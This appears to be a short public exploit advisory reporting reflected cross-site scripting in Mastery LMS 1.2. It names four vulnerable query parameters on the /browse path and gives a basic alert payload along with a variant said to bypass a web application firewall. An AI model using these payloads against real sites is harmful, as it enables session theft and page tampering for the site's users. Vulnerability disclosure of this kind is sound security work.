Mastery LMS 1.2 Cross Site Scripting

# Exploit Title: Mastery LMS 1.2 - Reflected XSS# Exploit Author: CraCkEr# Date: 09/07/2023# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/mastery/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## DescriptionAllow Attacker to inject malicious code into website, give ability to steal sensitiveinformation, manipulate data, and launch additional attacks.Path: /browseGET parameter 'search' is vulnerable to XSShttps://website/browse?search=[XSS]GET parameter 'featured' is vulnerable to XSShttps://website/browse?featured=[XSS]GET parameter 'recommended' is vulnerable to XSShttps://website/browse?recommended=[XSS]GET parameter 'skill' is vulnerable to XSShttps://website/browse?skill=[XSS]Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script> XSS Filter Bypass : "><script>alert(1)</script>[-] Done